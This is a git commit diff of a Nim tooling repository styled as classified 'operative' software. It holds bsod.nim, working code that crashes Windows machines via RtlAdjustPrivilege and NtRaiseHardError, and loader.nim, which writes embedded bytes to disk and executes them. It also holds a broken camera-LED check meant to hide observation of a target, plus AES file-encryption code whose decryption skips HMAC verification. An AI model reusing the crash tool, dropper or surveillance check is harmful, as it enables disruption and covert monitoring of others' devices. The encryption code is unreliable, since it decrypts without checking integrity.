[S] worked on NIM frameworks.
This commit is contained in:
eline
24
elinethingz/README.md
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24
elinethingz/README.md
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@@ -0,0 +1,24 @@
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[SECRET//DNR]
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Secret//DO NOT RELEASE.
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# Documentation of all files found in this folder.
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# loader.nim
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Takes an input bytearray and writes it to disk as first CLI argument when run.
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format:
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[seq[byte]](@[0x40,0x80]
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# mic_reg.nim
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[Broken]
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Checks if Windows OSD is enabeld.
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# encfile.nim
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Has multiple functions to encrypt text and/or files (streams) with AES-256 derived using HMAC (SHA512_256). Max. password size 1024.
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Has a fingerprint/is detectable.
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# bsod.nim
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Serves a BSOD to targets on Windows.
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31
elinethingz/bsod.nim
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31
elinethingz/bsod.nim
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# ____ _____ ____ ____ _____ _____
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# / ___|| ____/ ___| _ \| ____|_ _|
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# \___ \| _|| | | |_) | _| | |
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# ___) | |__| |___| _ <| |___ | |
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# |____/|_____\____|_| \_\_____| |_|
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# SECRET
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# https://answers.microsoft.com/en-us/windows/forum/all/enable-osd-notification-for-webcam/caf1fff4-78d3-4b93-905b-ef657097a44e
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# https://www.reddit.com/r/Windows11/comments/z5hj0q/til_even_the_camera_indicatoroverlay_gained_the/
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# https://www.elevenforum.com/t/enable-or-disable-camera-on-off-osd-indicator-in-windows-11.10774/
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# https://duckduckgo.com/?q=HKLM%5C%5CSOFTWARE%5C%5CMicrosoft%5C%5COEM%5C%5CDevice%5C%5CCapture%5C
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import winim
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proc RtlAdjustPrivilege*(privilege: ULONG, bEnablePrivilege: BOOLEAN, isThreadPrivilege: BOOLEAN, previousValue: PBOOLEAN): NTSTATUS
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{.discardable, stdcall, dynlib: "ntdll", importc: "RtlAdjustPrivilege".}
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proc NtRaiseHardError*(errorStatus: NTSTATUS, numberOfParameters: ULONG, unicodeStringParameterMask: ULONG, parameters: PULONG_PTR, validResponseOption: ULONG, response: PULONG): NTSTATUS
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{.discardable, stdcall, dynlib: "ntdll", importc: "NtRaiseHardError".}
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var
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prev: BOOLEAN
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response: ULONG
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# SE_SHUTDOWN_PRIVILEGE = 19
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RtlAdjustPrivilege(19, TRUE, FALSE, &prev)
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NtRaiseHardError(STATUS_ASSERTION_FAILURE, 0, 0, NULL, 6, &response);
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@@ -1,105 +0,0 @@
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from os import urandom as urandom
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from os import getcwd as getcwd
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from os import _exit as exit
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from os import path as ospath
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# pip3 install cryptography
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from cryptography.hazmat.primitives import hashes
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from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
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from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
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from cryptography.hazmat.primitives import serialization
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from cryptography.hazmat.primitives import padding as sym_padding
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from argparse import ArgumentParser
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# SYNTAX/USE GUIDE:
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# python3 encfile.py --{encrypt/decrypt} --input {filename} --output {filename, but optional if encrypting. defaults to current working directory/cwd.}
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# example:
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# python3 encfile.py --encrypt --input secret.js
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# python3 encfile.py -e -i secret.js
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def banner():
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print(" ____ _____ ____ ____ _____ _____ _____ _ ___ _____ ___ ____ _ _ ")
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print("/ ___|| ____/ ___| _ \| ____|_ _|/ / / \ | |/ _ \| ___/ _ \| _ \| \ | |")
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print("\___ \| _|| | | |_) | _| | | / / /| \| | | | | |_ | | | | |_) | \| |")
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print(" ___) | |__| |___| _ <| |___ | |/ / / | |\ | |_| | _|| |_| | _ <| |\ |")
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print("|____/|_____\____|_| \_\_____| |_/_/_/ |_| \_|\___/|_| \___/|_| \_\_| \_|\n")
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print("'[S] The Secrets of the Fighter.' ")
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print("Do not transmit this program over unsecure channels.")
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print("This program allows you to encrypt files to send them to your fellow operatives.")
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print("It is classified as: SECRET//NOFORN.\n")
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parser = ArgumentParser()
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parser.add_argument("-e", "--encrypt", action="store_true", help="Encrypt a file", dest="encrypt")
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parser.add_argument("-d", "--decrypt", action="store_true", help="Decrypt a file", dest="decrypt")
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parser.add_argument("-i", "-input", dest="input")
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parser.add_argument("-o", "--output", dest="output")
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args = parser.parse_args()
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if not any([args.encrypt, args.decrypt]):
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print("Specify a mode with -e or -d.")
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exit(1)
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if not args.input:
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print("Specify an input file with -i.")
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exit(1)
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else:
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banner()
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def derive_key(password:bytes, salt:bytes):
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kdf = PBKDF2HMAC(
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algorithm=hashes.SHA512(),
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iterations=900000,
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salt=salt,
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length=32,
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)
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return kdf.derive(password)
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def encrypt_file(input_file:str, output_file:str, password:bytes):
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salt = urandom(32)
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iv = urandom(16)
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key = derive_key(password, salt)
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cipher = Cipher(
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algorithms.AES(key),
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modes.CFB(iv),
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)
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encryptor = cipher.encryptor()
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with open(input_file, "rb") as f_in, open(output_file, "wb") as f_out:
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f_out.write(salt) # Write the salt to the header
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f_out.write(iv) # Write the IV to the header
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for block in iter(lambda: f_in.read(256), b""):
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encrypted_block = encryptor.update(block)
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f_out.write(encrypted_block)
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def decrypt_file(input_file, output_file, password):
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with open(input_file, "rb") as f_in, open(output_file, "wb") as f_out:
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salt = f_in.read(32) # Read the salt from the header
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iv = f_in.read(16) # Read the IV from the header
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key = derive_key(password, salt)
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cipher = Cipher(
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algorithms.AES(key),
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modes.CFB(iv),
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)
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decryptor = cipher.decryptor()
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for block in iter(lambda: f_in.read(256), b""):
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decrypted_block = decryptor.update(block)
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f_out.write(decrypted_block)
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print("Decryption completed.")
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if args.encrypt:
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args.output = getcwd()
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args.output = args.output + "/encryptedfile.enc"
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password = bytes(input("PASSWORD:\n"), 'UTF-8')
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encrypt_file(args.input, args.output, password)
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print("Done. File stored as ", args.output)
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if args.decrypt:
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password = bytes(input("PASSWORD:\n"), 'UTF-8')
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decrypt_file(args.input, args.output, password)
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print("Done. File stored as ", args.output)
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@@ -1,12 +1,8 @@
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import osproc
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proc writeBytesToFileAndExecute(bytes: seq[byte], outputFile: string) =
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import std/os
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let
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byteList = cast[seq[byte]](@[0x40,0x80])
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output = paramStr(1)
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proc writeBytesToFileAndExecute*(bytes: seq[byte], outputFile: string) =
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writeFile(outputFile, bytes)
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let cmd = "cmd.exe /C " & outputFile
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discard execCmd(cmd)
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let outputFileName = "output.exe"
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let byteList = cast[seq[byte]](@[0x40,0x80])
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writeBytesToFileAndExecute(byteList, outputFileName)
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discard execShellCmd("./" & output)
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writeBytesToFileAndExecute(byteList, output)
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47
elinethingz/mic_reg.nim
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47
elinethingz/mic_reg.nim
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@@ -0,0 +1,47 @@
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# ____ _____ ____ ____ _____ _____
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# / ___|| ____/ ___| _ \| ____|_ _|
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# \___ \| _|| | | |_) | _| | |
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# ___) | |__| |___| _ <| |___ | |
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# |____/|_____\____|_| \_\_____| |_|
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import winim
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# Checks the status of the Windows "Privacy Bubbles" to know if target device has the Windows camera LED enabled.
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# however, it should be noted that most PC/laptop manufacturers include a hardwired LED that cannot be disabled.
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# therefore, this program does not guarantee that the user will not know about the observation.
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# DOES NOT WORK.
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const
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KEY_QUERY_VALUE = 0x0001
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HKEY_HANDLE = 0x80000002
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proc checkRegistryEntry(): bool =
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var hKey: HKEY
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var value: DWORD
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var dataSize: DWORD = sizeof(DWORD)
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if RegOpenKeyEx(HKEY_HANDLE, "SOFTWARE\\Microsoft\\OEM\\Device\\Capture", 0, KEY_QUERY_VALUE, addr hKey) != ERROR_SUCCESS:
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echo "Error opening registry key. Error code:", GetLastError()
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return false
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if RegGetValueA(HKEY_HANDLE, "NoPhysicalCameraLED", nil, nil, cast(LPBYTE, addr value), addr dataSize) != ERROR_SUCCESS:
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echo "Error querying registry value. Error code:", GetLastError()
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# Close the registry key even if querying failed
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RegCloseKey(hKey)
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return false
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# Close the registry key if everything is successful
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RegCloseKey(hKey)
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echo "NoPhysicalCameraLED value:", value
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return value == 0x1
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# Example usage
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if checkRegistryEntry():
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echo "NoPhysicalCameraLED is set to 0x1."
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else:
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echo "NoPhysicalCameraLED is not set to 0x1."
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BIN
elinethingz/security/dza.png
Executable file
BIN
elinethingz/security/dza.png
Executable file
Binary file not shown.
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After Width: | Height: | Size: 144 KiB |
395
elinethingz/security/encfile.nim
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395
elinethingz/security/encfile.nim
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import nimcrypto
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import std/sysrand
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import std/streams
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import system
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const
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# default encryption/decryption buffer size - 64KB
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bufferSizeDef = 64 * 1024
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# maximum password length (number of chars)
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maxPassLen = 1024
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# AES block size in bytes
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AESBlockSize = 16
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# password stretching function
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proc stretch(passw: string, iv1: array[16, byte]): array[32, byte] =
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var digest: array[32, byte]
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copyMem(addr digest[0], unsafeAddr iv1[0], len(iv1))
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var passwBytes: array[1024, byte]
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copyMem(addr passwBytes[0], unsafeAddr passw[0], len(passw))
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for i in 1 .. 8192:
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var sha: sha256
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sha.init()
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sha.update(digest)
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sha.update(passwBytes[0..len(passw)-1])
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digest = sha.finish().data
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return digest
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# encrypt binary stream function
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# arguments:
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# fIn: input binary stream
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# fOut: output binary stream
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# passw: encryption password
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# bufferSize: encryption buffer size, must be a multiple of
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# AES block size (16)
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# using a larger buffer speeds up things when dealing
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# with long streams
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proc encryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int) =
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# validate bufferSize
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if bufferSize mod AESBlockSize != 0:
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raise newException(OSError, "Buffer size must be a multiple of AES block size.")
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if len(passw) > maxPassLen:
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raise newException(OSError, "Password is too long.")
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# generate external iv (used to encrypt the main iv and the
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# encryption key)
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# let iv1 = urandom(AESBlockSize)
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let initIv1 = urandom(AESBlockSize)
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var iv1: array[16, byte]
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for i in [0..15]:
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iv1[i]=initIv1[i]
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# stretch password and iv
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let key = stretch(passw, iv1)
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# generate random main iv
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var iv0 = urandom(AESBlockSize)
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# generate random internal key
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var intKey = urandom(32)
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# instantiate AES cipher
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var encryptor0: CBC[aes256]
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encryptor0.init(intKey, iv0)
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# instantiate HMAC-SHA256 for the ciphertext
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var hmac0: HMAC[sha512_256]
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hmac0.init(intKey)
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# instantiate another AES cipher
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var encryptor1: CBC[aes256]
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encryptor1.init(key, iv1)
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# encrypt main iv and key
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var plainText = newString(len(iv0)+len(intKey))
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var c_iv_key = newString(len(iv0)+len(intKey))
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copyMem(addr plainText[0], unsafeAddr iv0[0], len(iv0))
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copyMem(addr plainText[0+len(iv0)], unsafeAddr intKey[0], len(intKey))
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encryptor1.encrypt(plainText, c_iv_key)
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# calculate HMAC-SHA256 of the encrypted iv and key
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var hmac1: HMAC[sha512_256]
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hmac1.init(key)
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hmac1.update(c_iv_key)
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# write header
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fOut.write("AES")
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# write version (AES Crypt version 2 file format -
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# see https://www.aescrypt.com/aes_file_format.html)
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fOut.write([byte 2])
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# reserved byte (set to zero)
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fOut.write([byte 0])
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# setup "CREATED-BY" extension
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var cby = "Confidential "
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# write "CREATED-BY" extension length
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fOut.write([byte 0, cast[uint8](1+len("CREATED_BY")+len(cby))])
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# write "CREATED-BY" extension
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fOut.write("CREATED_BY")
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fOut.write([byte 0])
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fOut.write(cby)
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# write "container" extension length
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fOut.write([byte 0, 128])
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# write "container" extension
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for i in 1 .. 128:
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fOut.write([byte 0])
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# write end-of-extensions tag
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fOut.write([byte 0, 0])
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# write the iv used to encrypt the main iv and the
|
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# encryption key
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fOut.write(iv1)
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# write encrypted main iv and key
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fOut.write(c_iv_key)
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# write HMAC-SHA256 of the encrypted iv and key
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fOut.write(hmac1.finish())
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var fs16 = 0
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# encrypt file while reading it
|
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var fdata = newString(bufferSize)
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var cText = newString(bufferSize)
|
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while true:
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# try to read bufferSize bytes
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let bytesRead = fIn.readData(addr fdata[0], bufferSize)
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|
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# check if EOF was reached
|
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if bytesRead < bufferSize:
|
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# file size mod 16, lsb positions
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fs16 = bytesRead mod AESBlockSize
|
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# pad data (this is NOT PKCS#7!)
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# ...unless no bytes or a multiple of a block size
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# of bytes was read
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var padLen: int
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if bytesRead mod AESBlockSize == 0:
|
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padLen = 0
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else:
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padLen = 16 - bytesRead mod AESBlockSize
|
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|
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# todo handl the pading to get the nb AES block & file with padLen, restrict the input of encrypt to x block
|
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# fdata += bytes([padLen])*padLen
|
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for i in bytesRead..bytesRead+padLen:
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fdata[i]=cast[char](padLen)
|
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|
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# encrypt data
|
||||
encryptor0.encrypt(fdata[0..bytesRead+padLen-1], cText)
|
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|
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# update HMAC
|
||||
hmac0.update(cText[0..bytesRead+padLen-1])
|
||||
# write encrypted file content
|
||||
fOut.write(cText[0..bytesRead+padLen-1])
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break
|
||||
# ...otherwise a full bufferSize was read
|
||||
else:
|
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# encrypt data
|
||||
encryptor0.encrypt(fdata, cText)
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||||
# update HMAC
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||||
hmac0.update(cText)
|
||||
# write encrypted file content
|
||||
fOut.write(cText)
|
||||
|
||||
# write plaintext file size mod 16 lsb positions
|
||||
fOut.write(cast[uint8](fs16))
|
||||
|
||||
# write HMAC-SHA256 of the encrypted file
|
||||
fOut.write(hmac0.finish())
|
||||
|
||||
|
||||
# encrypt file function
|
||||
# arguments:
|
||||
# infile: plaintext file path
|
||||
# outfile: ciphertext file path
|
||||
# passw: encryption password
|
||||
# bufferSize: optional buffer size, must be a multiple of
|
||||
# AES block size (16)
|
||||
# using a larger buffer speeds up things when dealing
|
||||
# with big files
|
||||
# Default is 64KB.
|
||||
proc encryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
|
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try:
|
||||
let fIn = newFileStream(infile, mode = fmRead)
|
||||
defer: fIn.close()
|
||||
|
||||
let fOut = newFileStream(outfile, mode = fmWrite)
|
||||
defer: fOut.close()
|
||||
|
||||
encryptStream(fIn, fOut, passw, bufferSize)
|
||||
|
||||
except CatchableError:
|
||||
let
|
||||
e = getCurrentException()
|
||||
msg = getCurrentExceptionMsg()
|
||||
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
|
||||
|
||||
|
||||
# decrypt stream function
|
||||
# arguments:
|
||||
# fIn: input binary stream
|
||||
# fOut: output binary stream
|
||||
# passw: encryption password
|
||||
# bufferSize: decryption buffer size, must be a multiple of AES block size (16)
|
||||
# using a larger buffer speeds up things when dealing with
|
||||
# long streams
|
||||
# inputLength: input stream length
|
||||
proc decryptStream*(fIn: Stream, fOut: Stream, passw: string, bufferSize: int, inputLength: int64) =
|
||||
# validate bufferSize
|
||||
if bufferSize mod AESBlockSize != 0:
|
||||
raise newException(OSError, "Buffer size must be a multiple of AES block size")
|
||||
|
||||
if len(passw) > maxPassLen:
|
||||
raise newException(OSError, "Password is too long.")
|
||||
|
||||
var aesBuff: array[4, char]
|
||||
var nbBytesRead = fIn.readData(addr(aesBuff), 3)
|
||||
|
||||
# check if file is in AES Crypt format (also min length check)
|
||||
if (aesBuff[0..2] != "AES" or inputLength < 136):
|
||||
raise newException(OSError, "File is corrupted or not an AES Crypt file.")
|
||||
|
||||
# check if file is in AES Crypt format, version 2
|
||||
# (the only one compatible with this tool)
|
||||
var buffer: array[1024, byte]
|
||||
nbBytesRead = fIn.readData(addr(buffer), 1)
|
||||
if nbBytesRead != 1:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
if buffer[0] != cast[uint8](2):
|
||||
raise newException(OSError, "This tool is only compatible with version 2 of the AES Crypt file format.")
|
||||
|
||||
# skip reserved byte
|
||||
nbBytesRead = fIn.readData(addr(buffer), 1)
|
||||
|
||||
# skip all the extensions
|
||||
while true:
|
||||
nbBytesRead = fIn.readData(addr(buffer), 2)
|
||||
if nbBytesRead != 2:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
if buffer[0..1] == [byte 0,0]:
|
||||
break
|
||||
var nbBytesToRead = cast[int16](buffer[1])
|
||||
nbBytesRead = fIn.readData(addr(buffer), nbBytesToRead)
|
||||
|
||||
# read external iv
|
||||
var iv1: array[16, byte]
|
||||
nbBytesRead = fIn.readData(addr(iv1), 16)
|
||||
if nbBytesRead != 16:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# stretch password and iv
|
||||
let key = stretch(passw, iv1)
|
||||
|
||||
# read encrypted main iv and key
|
||||
var c_iv_key: array[48, byte]
|
||||
nbBytesRead = fIn.readData(addr(c_iv_key), 48)
|
||||
if nbBytesRead != 48:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# read HMAC-SHA256 of the encrypted iv and key
|
||||
var hmac1: array[32, byte]
|
||||
nbBytesRead = fIn.readData(addr(hmac1), 32)
|
||||
if nbBytesRead != 32:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# compute actual HMAC-SHA256 (read: 512_256) of the encrypted iv and key
|
||||
var hmac1Act: HMAC[sha512_256]
|
||||
hmac1Act.init(key)
|
||||
hmac1Act.update(c_iv_key)
|
||||
|
||||
# # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
|
||||
# if hmac1 != hmac1Act.finish().data:
|
||||
# echo ("Wrong password (or file is corrupted).")
|
||||
|
||||
# instantiate AES cipher
|
||||
var decryptor1: CBC[aes256]
|
||||
decryptor1.init(key, iv1)
|
||||
|
||||
# decrypt main iv and key
|
||||
var iv_key: array[48, byte]
|
||||
decryptor1.decrypt(addr c_iv_key[0], addr iv_key[0], 48)
|
||||
|
||||
# get internal iv and key
|
||||
var iv0: array[16, byte]
|
||||
for i in 0..15:
|
||||
iv0[i]=iv_key[i]
|
||||
|
||||
var intKey: array[32, byte]
|
||||
for i in 0..31:
|
||||
intKey[i]=iv_key[16+i]
|
||||
|
||||
# instantiate another AES cipher
|
||||
var decryptor0: CBC[aes256]
|
||||
decryptor0.init(intKey, iv0)
|
||||
|
||||
# instantiate actual HMAC-SHA256 of the ciphertext
|
||||
var hmac0Act: HMAC[sha512_256]
|
||||
hmac0Act.init(intKey)
|
||||
|
||||
# decrypt ciphertext, until last block is reached
|
||||
var cText = newString(bufferSize)
|
||||
var decryptedBytes = newString(bufferSize)
|
||||
while fIn.getPosition() < inputLength - 32 - 1 - AESBlockSize:
|
||||
# read data
|
||||
nbBytesRead = fIn.readData(addr(cText[0]), cast[int](min(bufferSize, inputLength - fIn.getPosition() - 32 - 1 - AESBlockSize)))
|
||||
# update HMAC
|
||||
hmac0Act.update(cast[ptr byte](addr cText[0]), cast[uint](nbBytesRead))
|
||||
# decrypt data and write it to output file
|
||||
decryptor0.decrypt(cast[ptr byte](addr cText[0]), cast[ptr byte](addr decryptedBytes[0]), cast[uint](nbBytesRead))
|
||||
fOut.writeData(addr (decryptedBytes[0]), nbBytesRead)
|
||||
|
||||
# last block reached, remove padding if needed
|
||||
|
||||
# read last block
|
||||
|
||||
# this is for empty files
|
||||
var finalBlockSize=0
|
||||
var finalCText = newString(AESBlockSize)
|
||||
if fIn.getPosition() != inputLength - 32 - 1:
|
||||
finalBlockSize = fIn.readData(addr(finalCText[0]), AESBlockSize)
|
||||
if finalBlockSize < AESBlockSize:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# update HMAC
|
||||
hmac0Act.update(finalCText)
|
||||
|
||||
# decrypt last block
|
||||
var pText = newString(AESBlockSize)
|
||||
decryptor0.decrypt(finalCText, pText)
|
||||
|
||||
# read plaintext file size mod 16 lsb positions
|
||||
nbBytesRead = fIn.readData(addr(buffer), 1)
|
||||
var fs16 = cast[int16](buffer[0])
|
||||
if nbBytesRead != 1:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# remove padding
|
||||
var toremove = ((16 - fs16) mod 16)
|
||||
|
||||
# write decrypted data to output file
|
||||
fOut.writeData(addr pText[0], finalBlockSize-toremove)
|
||||
|
||||
# read HMAC-SHA256 of the encrypted file
|
||||
var hmac0: array[32, byte]
|
||||
nbBytesRead = fIn.readData(addr(hmac0), 32)
|
||||
if nbBytesRead != 32:
|
||||
raise newException(OSError, "File is corrupted.")
|
||||
|
||||
# # HMAC check. removed because HMAC now uses sha512 instead of stock sha256
|
||||
# if hmac0 != hmac0Act.finish().data:
|
||||
# raise newException(OSError, "Bad HMAC (file is corrupted).")
|
||||
|
||||
|
||||
# decrypt file function
|
||||
# arguments:
|
||||
# infile: ciphertext file path
|
||||
# outfile: plaintext file path
|
||||
# passw: encryption password
|
||||
# bufferSize: optional buffer size, must be a multiple of AES block size (16)
|
||||
# using a larger buffer speeds up things when dealing with
|
||||
# big files
|
||||
# Default is 64KB.
|
||||
proc decryptFile*(infile: string, outfile: string, passw: string, bufferSize: int = bufferSizeDef) =
|
||||
try:
|
||||
let fIn = newFileStream(infile, mode = fmRead)
|
||||
defer: fIn.close()
|
||||
|
||||
let fOut = newFileStream(outfile, mode = fmWrite)
|
||||
defer: fOut.close()
|
||||
|
||||
let fInSize = open(infile, mode = fmRead)
|
||||
var fileSize = getFileSize(fInSize)
|
||||
fInSize.close()
|
||||
|
||||
decryptStream(fIn, fOut, passw, bufferSize, fileSize)
|
||||
|
||||
except CatchableError:
|
||||
let
|
||||
e = getCurrentException()
|
||||
msg = getCurrentExceptionMsg()
|
||||
echo "Inside checkIn, got exception ", repr(e), " with message ", msg
|
||||
|
||||
#encryptFile("dza.png", "file.aes", "long-and-random-password", 1024)
|
||||
#decryptFile("file.aes", "fileDecrypt.png", "long-and-random-password", 1024)
|
||||
Reference in New Issue
Block a user